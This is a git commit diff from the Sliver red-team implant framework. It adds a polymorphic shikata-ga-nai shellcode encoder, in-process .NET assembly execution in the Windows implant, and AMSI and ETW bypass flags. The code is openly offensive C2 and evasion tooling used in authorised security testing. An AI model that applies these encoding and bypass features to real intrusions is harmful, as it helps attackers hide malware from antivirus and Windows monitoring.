Added additional checks for uuid.Nil

Ensure persistent multiplayer consoles startup

.github/CODEOWNERS

@@ -1,2 +1 @@
-* @moloch--
-* @rkervella
+* @BishopFox/red-team

client/command/alias/load.go

@@ -28,6 +28,7 @@ import (
 	"path/filepath"
 	"strings"
 
+	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/command/help"
 	"github.com/bishopfox/sliver/client/console"
@@ -177,6 +178,11 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
 				f.String("c", "class", "", "Optional class name (required for .NET DLL)")
 				f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
 				f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
+				f.Bool("i", "in-process", false, "Run in the current sliver process")
+				f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
+				f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
+				f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
+
 			}
 			f.String("p", "process", "", "Path to process to host the shared object")
 			f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
@@ -274,7 +280,17 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	extArgs = strings.TrimSpace(extArgs)
 	entryPoint := aliasManifest.Entrypoint
-	processArgs := strings.Split(ctx.Flags.String("process-arguments"), " ")
+	processArgsStr := ctx.Flags.String("process-arguments")
+	if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
+		con.PrintWarnf(" Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies and non-reflective PE files.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n")
+		confirm := false
+		prompt := &survey.Confirm{Message: "Do you want to continue?"}
+		survey.AskOne(prompt, &confirm, nil)
+		if !confirm {
+			return
+		}
+	}
+	processArgs := strings.Split(processArgsStr, " ")
 	processName := ctx.Flags.String("process")
 	if processName == "" {
 		processName, err = aliasManifest.getDefaultProcess(goos)
@@ -320,6 +336,10 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			AppDomain:   ctx.Flags.String("app-domain"),
 			ProcessArgs: processArgs,
 			PPid:        uint32(ctx.Flags.Uint("ppid")),
+			InProcess:   ctx.Flags.Bool("in-process"),
+			Runtime:     ctx.Flags.String("runtime"),
+			AmsiBypass:  ctx.Flags.Bool("amsi-bypass"),
+			EtwBypass:   ctx.Flags.Bool("etw-bypass"),
 		})
 		ctrl <- true
 		<-ctrl

client/command/commands.go

@@ -69,6 +69,7 @@ import (
 	"github.com/bishopfox/sliver/client/command/sessions"
 	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/command/shell"
+	sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai"
 	"github.com/bishopfox/sliver/client/command/socks"
 	"github.com/bishopfox/sliver/client/command/tasks"
 	"github.com/bishopfox/sliver/client/command/update"
@@ -986,6 +987,33 @@ func BindCommands(con *console.SliverConsoleClient) {
 		HelpGroup: consts.SliverHelpGroup,
 	})
 
+	// [ Shellcode Encoders ] --------------------------------------------------------------
+
+	con.App.AddCommand(&grumble.Command{
+		Name:     consts.ShikataGaNai,
+		Help:     "Polymorphic binary shellcode encoder (ノ ゜Д゜)ノ ︵ 仕方がない",
+		LongHelp: help.GetHelpFor([]string{consts.ShikataGaNai}),
+		Args: func(a *grumble.Args) {
+			a.String("shellcode", "binary shellcode file path")
+		},
+		Flags: func(f *grumble.Flags) {
+			f.String("s", "save", "", "save output to local file")
+
+			f.String("a", "arch", "amd64", "architecture of shellcode")
+			f.Int("i", "iterations", 1, "number of iterations")
+			f.String("b", "bad-chars", "", "hex encoded bad characters to avoid (e.g. 0001)")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			sgn.ShikataGaNaiCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.SliverHelpGroup,
+	})
+
 	// [ Exec ] --------------------------------------------------------------
 
 	con.App.AddCommand(&grumble.Command{
@@ -1032,11 +1060,15 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("c", "class", "", "Optional class name (required for .NET DLL)")
 			f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
 			f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
+			f.Bool("i", "in-process", false, "Run in the current sliver process")
+			f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
 			f.Bool("s", "save", false, "save output to file")
 			f.Bool("X", "loot", false, "save output as loot")
 			f.String("n", "name", "", "name to assign loot (optional)")
 			f.Uint("P", "ppid", 0, "parent process id (optional)")
 			f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
+			f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
+			f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1067,6 +1099,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Uint("p", "pid", 0, "Pid of process to inject into (0 means injection into ourselves)")
 			f.String("n", "process", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode")
 			f.Bool("i", "interactive", false, "Inject into a new process and interact with it")
+			f.Bool("S", "shikata-ga-nai", false, "encode shellcode using shikata ga nai prior to execution")
+			f.String("A", "architecture", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
+			f.Int("I", "iterations", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},

client/command/exec/execute-assembly.go

@@ -24,6 +24,7 @@ import (
 	"path/filepath"
 	"strings"
 
+	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -57,10 +58,24 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 
 	assemblyArgs := ctx.Args.StringList("arguments")
 	process := ctx.Flags.String("process")
-	processArgs := strings.Split(ctx.Flags.String("process-arguments"), " ")
+	processArgsStr := ctx.Flags.String("process-arguments")
+	processArgs := strings.Split(processArgsStr, " ")
+
+	runtime := ctx.Flags.String("runtime")
+	etwBypass := ctx.Flags.Bool("etw-bypass")
+	amsiBypass := ctx.Flags.Bool("amsi-bypass")
 
 	assemblyArgsStr := strings.Join(assemblyArgs, " ")
 	assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
+	if len(assemblyArgsStr) > 256 {
+		con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
+		confirm := false
+		prompt := &survey.Confirm{Message: "Do you want to continue?"}
+		survey.AskOne(prompt, &confirm, nil)
+		if !confirm {
+			return
+		}
+	}
 
 	ctrl := make(chan bool)
 	con.SpinUntil("Executing assembly ...", ctrl)
@@ -76,6 +91,10 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 		AppDomain:   ctx.Flags.String("app-domain"),
 		ProcessArgs: processArgs,
 		PPid:        uint32(ctx.Flags.Int("ppid")),
+		Runtime:     runtime,
+		EtwBypass:   etwBypass,
+		AmsiBypass:  amsiBypass,
+		InProcess:   ctx.Flags.Bool("in-process"),
 	})
 	ctrl <- true
 	<-ctrl

client/command/exec/execute-shellcode.go

@@ -44,6 +44,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 		return
 	}
 
+	rwxPages := ctx.Flags.Bool("rwx-pages")
 	interactive := ctx.Flags.Bool("interactive")
 	if interactive && beacon != nil {
 		con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
@@ -60,8 +61,37 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 		con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
 		return
 	}
+	shikataGaNai := ctx.Flags.Bool("shikata-ga-nai")
+	if shikataGaNai {
+		if !rwxPages {
+			con.PrintErrorf("Cannot use shikata ga nai without RWX pages enabled\n")
+			return
+		}
+		arch := ctx.Flags.String("architecture")
+		if arch != "386" && arch != "amd64" {
+			con.PrintErrorf("Invalid shikata ga nai architecture (must be 386 or amd64)\n")
+			return
+		}
+		iter := ctx.Flags.Int("iterations")
+		con.PrintInfof("Encoding shellcode ...\n")
+		resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
+			Encoder:      clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
+			Architecture: arch,
+			Iterations:   uint32(iter),
+			BadChars:     []byte{},
+			Data:         shellcodeBin,
+		})
+		if err != nil {
+			con.PrintErrorf("%s\n", err.Error())
+			return
+		}
+		oldSize := len(shellcodeBin)
+		shellcodeBin = resp.GetData()
+		con.PrintInfof("Shellcode encoded in %d iterations (%d bytes -> %d bytes)\n", iter, oldSize, len(shellcodeBin))
+	}
+
 	if interactive {
-		executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, ctx.Flags.Bool("rwx-pages"), con)
+		executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, rwxPages, con)
 		return
 	}
 	ctrl := make(chan bool)
@@ -69,7 +99,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 	con.SpinUntil(msg, ctrl)
 	shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
 		Data:     shellcodeBin,
-		RWXPages: ctx.Flags.Bool("rwx-pages"),
+		RWXPages: rwxPages,
 		Pid:      uint32(pid),
 		Request:  con.ActiveTarget.Request(ctx),
 	})

client/command/generate/generate.go

@@ -636,12 +636,34 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
 		return nil, errors.New("no file data")
 	}
 
+	fileData := generated.File.Data
+	if config.IsShellcode {
+		confirm := false
+		survey.AskOne(&survey.Confirm{Message: "Encode shellcode with shikata ga nai?"}, &confirm)
+		if confirm {
+			con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
+			resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
+				Encoder:      clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
+				Architecture: config.GOARCH,
+				Iterations:   1,
+				BadChars:     []byte{},
+				Data:         fileData,
+			})
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+			} else {
+				con.Printf("success!\n")
+				fileData = resp.GetData()
+			}
+		}
+	}
+
 	saveTo, err := saveLocation(save, generated.File.Name)
 	if err != nil {
 		return nil, err
 	}
 
-	err = ioutil.WriteFile(saveTo, generated.File.Data, 0700)
+	err = ioutil.WriteFile(saveTo, fileData, 0700)
 	if err != nil {
 		con.PrintErrorf("Failed to write to: %s\n", saveTo)
 		return nil, err

client/command/shikata-ga-nai/sgn.go

@@ -0,0 +1,81 @@
+package sgn
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"encoding/hex"
+	"io/ioutil"
+	"path/filepath"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+// ShikataGaNaiCmd - Command wrapper for the Shikata Ga Nai shellcode encoder
+func ShikataGaNaiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	shellcodeFile := ctx.Args.String("shellcode")
+	rawShellcode, err := ioutil.ReadFile(shellcodeFile)
+	if err != nil {
+		con.PrintErrorf("Failed to read shellcode file: %s", err)
+		return
+	}
+
+	arch := ctx.Flags.String("arch")
+	iterations := ctx.Flags.Int("iterations")
+	rawBadChars := ctx.Flags.String("bad-chars")
+	badChars, err := hex.DecodeString(rawBadChars)
+	if err != nil {
+		con.PrintErrorf("Failed to decode bad chars: %s", err)
+		return
+	}
+
+	con.PrintInfof("Encoding shellcode with %d iterations and %d bad chars\n", iterations, len(badChars))
+
+	shellcodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
+		Encoder:      clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
+		Architecture: arch,
+		Iterations:   uint32(iterations),
+		BadChars:     badChars,
+		Data:         rawShellcode,
+		Request:      con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if shellcodeResp.Response != nil && shellcodeResp.Response.Err != "" {
+		con.PrintErrorf("%s\n", shellcodeResp.Response.Err)
+		return
+	}
+
+	outputFile := ctx.Flags.String("save")
+	if outputFile == "" {
+		outputFile = filepath.Base(shellcodeFile)
+		outputFile += ".sgn"
+	}
+
+	err = ioutil.WriteFile(outputFile, shellcodeResp.Data, 0644)
+	if err != nil {
+		con.PrintErrorf("Failed to write shellcode file: %s", err)
+		return
+	}
+	con.PrintInfof("Shellcode written to %s (%d bytes)\n", outputFile, len(shellcodeResp.Data))
+}

client/constants/constants.go

@@ -236,6 +236,8 @@ const (
 	GetPrivsStr        = "getprivs"
 	PreludeOperatorStr = "prelude-operator"
 	ConnectStr         = "connect"
+
+	ShikataGaNai = "shikata-ga-nai"
 )
 
 // Groups

client/licenses/licenses.go

@@ -85,6 +85,30 @@ POSSIBILITY OF SUCH DAMAGE.
 
 ======================================================================================================
 
+MIT License
+
+Copyright (c) 2019 Ege Balcı
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+
+======================================================================================================
+
 BSD 3-Clause License
 
 Copyright (c) 2018, b4rtik

go-assets.sh

@@ -22,10 +22,10 @@ set -e
 
 GO_VER="1.18.5"
 GARBLE_VER="1.18.0"
+SGN_VER="0.0.3"
 
 GO_ARCH_1="amd64"
 GO_ARCH_2="arm64"
-GO_ARCH_3="386"
 BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt SECURITY.md CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
 
 if ! [ -x "$(command -v curl)" ]; then
@@ -165,6 +165,32 @@ curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/
 echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2"
 curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
 
+
+echo "-----------------------------------------------------------------"
+echo " Shikata ga nai (ノ ゜Д゜)ノ ︵ 仕方がない"
+echo "-----------------------------------------------------------------"
+
+# Linux (amd64)
+echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_1.zip"
+curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_1.zip
+
+# Linux (arm64)
+echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_2.zip"
+curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_2.zip
+
+# Windows (amd64)
+echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-$GO_ARCH_1.zip"
+curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-$GO_ARCH_1.zip
+
+# MacOS (amd64)
+echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_1.zip"
+curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_1.zip
+
+# MacOS (arm64)
+echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip"
+curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip
+
+
 # end
 echo -e "clean up: $WORK_DIR"
 rm -rf $WORK_DIR

implant/go-mod

@@ -4,6 +4,7 @@ go 1.17
 
 require (
 	github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
+	github.com/Ne0nd0g/go-clr v1.0.2
 	github.com/gofrs/uuid v4.0.0+incompatible
 	github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
 	github.com/lesnuages/go-winio v0.4.19
@@ -14,7 +15,7 @@ require (
 	github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
 	golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
 	golang.org/x/net v0.0.0-20220225172249-27dd8689420f
-	golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
+	golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f
 	golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
 	google.golang.org/protobuf v1.26.0
 	gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
@@ -33,6 +34,7 @@ require (
 	github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
 	github.com/pmezard/go-difflib v1.0.0 // indirect
 	golang.org/x/mod v0.4.2 // indirect
+	golang.org/x/text v0.3.7 // indirect
 	golang.org/x/time v0.0.0-20191024005414-555d28b269f0 // indirect
 	golang.org/x/tools v0.1.7 // indirect
 	golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect

implant/go-sum

@@ -71,6 +71,8 @@ github.com/Microsoft/hcsshim v0.8.6/go.mod h1:Op3hHsoHPAvb6lceZHDtd9OkTew38wNoXn
 github.com/Microsoft/hcsshim v0.8.7-0.20190325164909-8abdbb8205e4/go.mod h1:Op3hHsoHPAvb6lceZHDtd9OkTew38wNoXnJs8iY7rUg=
 github.com/Microsoft/hcsshim v0.8.14/go.mod h1:NtVKoYxQuTLx6gEq0L96c9Ju4JbRJ4nY2ow3VK6a9Lg=
 github.com/NYTimes/gziphandler v0.0.0-20170623195520-56545f4a5d46/go.mod h1:3wb06e3pkSAbeQ52E9H9iFoQsEEwGN64994WTCIhntQ=
+github.com/Ne0nd0g/go-clr v1.0.2 h1:jVD7iJyXaS3KhPiKetUnUAuLxgDlNSvYmPfMFK8E3VY=
+github.com/Ne0nd0g/go-clr v1.0.2/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
 github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU=
 github.com/PuerkitoBio/purell v1.0.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=
 github.com/PuerkitoBio/purell v1.1.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=
@@ -779,8 +781,8 @@ golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7w
 golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
 golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
-golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86 h1:A9i04dxx7Cribqbs8jf3FQLogkL/CV2YN7hj9KWJCkc=
-golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f h1:rlezHXNlxYWvBCzNses9Dlc7nGFaNMJeqLolcmQSSZY=
+golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
 golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
 golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
 golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY=
@@ -793,6 +795,8 @@ golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
 golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
 golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
 golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
+golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk=
+golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
 golang.org/x/time v0.0.0-20180412165947-fbb02b2291d2/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
 golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
 golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=

implant/scripts/update-vendor.sh

@@ -7,7 +7,7 @@ cd scripts
 
 # copy Go module related files
 pwd="$(pwd)"
-tempDir="$(mktemp -d -p $pwd)"
+tempDir="$(mktemp -d)"
 cp ../go-mod "${tempDir}/go.mod"
 cp ../go-sum "${tempDir}/go.sum"
 mv ../vendor "${tempDir}/vendor"
@@ -20,8 +20,8 @@ go mod tidy -compat=1.17
 go mod vendor
 
 # move updated files back
-mv "${tempDir}/vendor" ../../vendor
-mv "${tempDir}/go.mod" ../../go-mod
-mv "${tempDir}/go.sum" ../../go-sum
+mv "${tempDir}/vendor" "${pwd}/../vendor"
+mv "${tempDir}/go.mod" "${pwd}/../go-mod"
+mv "${tempDir}/go.sum" "${pwd}/../go-sum"
 cd ..
 rm -rf "$tempDir"

implant/sliver/handlers/handlers_windows.go

@@ -49,24 +49,25 @@ var (
 	windowsHandlers = map[uint32]RPCHandler{
 
 		// Windows Only
-		sliverpb.MsgTaskReq:                  taskHandler,
-		sliverpb.MsgProcessDumpReq:           dumpHandler,
-		sliverpb.MsgImpersonateReq:           impersonateHandler,
-		sliverpb.MsgRevToSelfReq:             revToSelfHandler,
-		sliverpb.MsgRunAsReq:                 runAsHandler,
-		sliverpb.MsgInvokeGetSystemReq:       getsystemHandler,
-		sliverpb.MsgInvokeExecuteAssemblyReq: executeAssemblyHandler,
-		sliverpb.MsgInvokeMigrateReq:         migrateHandler,
-		sliverpb.MsgSpawnDllReq:              spawnDllHandler,
-		sliverpb.MsgStartServiceReq:          startService,
-		sliverpb.MsgStopServiceReq:           stopService,
-		sliverpb.MsgRemoveServiceReq:         removeService,
-		sliverpb.MsgEnvReq:                   getEnvHandler,
-		sliverpb.MsgSetEnvReq:                setEnvHandler,
-		sliverpb.MsgUnsetEnvReq:              unsetEnvHandler,
-		sliverpb.MsgExecuteWindowsReq:        executeWindowsHandler,
-		sliverpb.MsgGetPrivsReq:              getPrivsHandler,
-		sliverpb.MsgCurrentTokenOwnerReq:     currentTokenOwnerHandler,
+		sliverpb.MsgTaskReq:                        taskHandler,
+		sliverpb.MsgProcessDumpReq:                 dumpHandler,
+		sliverpb.MsgImpersonateReq:                 impersonateHandler,
+		sliverpb.MsgRevToSelfReq:                   revToSelfHandler,
+		sliverpb.MsgRunAsReq:                       runAsHandler,
+		sliverpb.MsgInvokeGetSystemReq:             getsystemHandler,
+		sliverpb.MsgInvokeExecuteAssemblyReq:       executeAssemblyHandler,
+		sliverpb.MsgInvokeInProcExecuteAssemblyReq: inProcExecuteAssemblyHandler,
+		sliverpb.MsgInvokeMigrateReq:               migrateHandler,
+		sliverpb.MsgSpawnDllReq:                    spawnDllHandler,
+		sliverpb.MsgStartServiceReq:                startService,
+		sliverpb.MsgStopServiceReq:                 stopService,
+		sliverpb.MsgRemoveServiceReq:               removeService,
+		sliverpb.MsgEnvReq:                         getEnvHandler,
+		sliverpb.MsgSetEnvReq:                      setEnvHandler,
+		sliverpb.MsgUnsetEnvReq:                    unsetEnvHandler,
+		sliverpb.MsgExecuteWindowsReq:              executeWindowsHandler,
+		sliverpb.MsgGetPrivsReq:                    getPrivsHandler,
+		sliverpb.MsgCurrentTokenOwnerReq:           currentTokenOwnerHandler,
 
 		// Platform specific
 		sliverpb.MsgIfconfigReq:            ifconfigHandler,
@@ -238,6 +239,26 @@ func executeAssemblyHandler(data []byte, resp RPCResponse) {
 
 }
 
+func inProcExecuteAssemblyHandler(data []byte, resp RPCResponse) {
+	execReq := &sliverpb.InvokeInProcExecuteAssemblyReq{}
+	err := proto.Unmarshal(data, execReq)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("error decoding message: %v", err)
+		// {{end}}
+		return
+	}
+	output, err := taskrunner.InProcExecuteAssembly(execReq.Data, execReq.Arguments, execReq.Runtime, execReq.AmsiBypass, execReq.EtwBypass)
+	execAsm := &sliverpb.ExecuteAssembly{Output: []byte(output)}
+	if err != nil {
+		execAsm.Response = &commonpb.Response{
+			Err: err.Error(),
+		}
+	}
+	data, err = proto.Marshal(execAsm)
+	resp(data, err)
+}
+
 func executeWindowsHandler(data []byte, resp RPCResponse) {
 	var (
 		err       error

implant/sliver/taskrunner/dotnet_windows.go

@@ -0,0 +1,109 @@
+//go:build windows
+// +build windows
+
+package taskrunner
+
+import (
+	"crypto/sha256"
+	"errors"
+	"fmt"
+	clr "github.com/Ne0nd0g/go-clr"
+	"sync"
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+)
+
+var (
+	clrInstance *CLRInstance
+	assemblies  []*assembly
+)
+
+type assembly struct {
+	methodInfo *clr.MethodInfo
+	hash       [32]byte
+}
+
+type CLRInstance struct {
+	runtimeHost *clr.ICORRuntimeHost
+	sync.Mutex
+}
+
+func (c *CLRInstance) GetRuntimeHost(runtime string) *clr.ICORRuntimeHost {
+	c.Lock()
+	defer c.Unlock()
+	if c.runtimeHost == nil {
+		// {{if .Config.Debug}}
+		log.Printf("Initializing CLR runtime host")
+		// {{end}}
+		c.runtimeHost, _ = clr.LoadCLR(runtime)
+		err := clr.RedirectStdoutStderr()
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Printf("could not redirect stdout/stderr: %v\n", err)
+			// {{end}}
+		}
+	}
+	return c.runtimeHost
+}
+
+func LoadAssembly(data []byte, assemblyArgs []string, runtime string) (string, error) {
+	var (
+		methodInfo *clr.MethodInfo
+		err        error
+	)
+
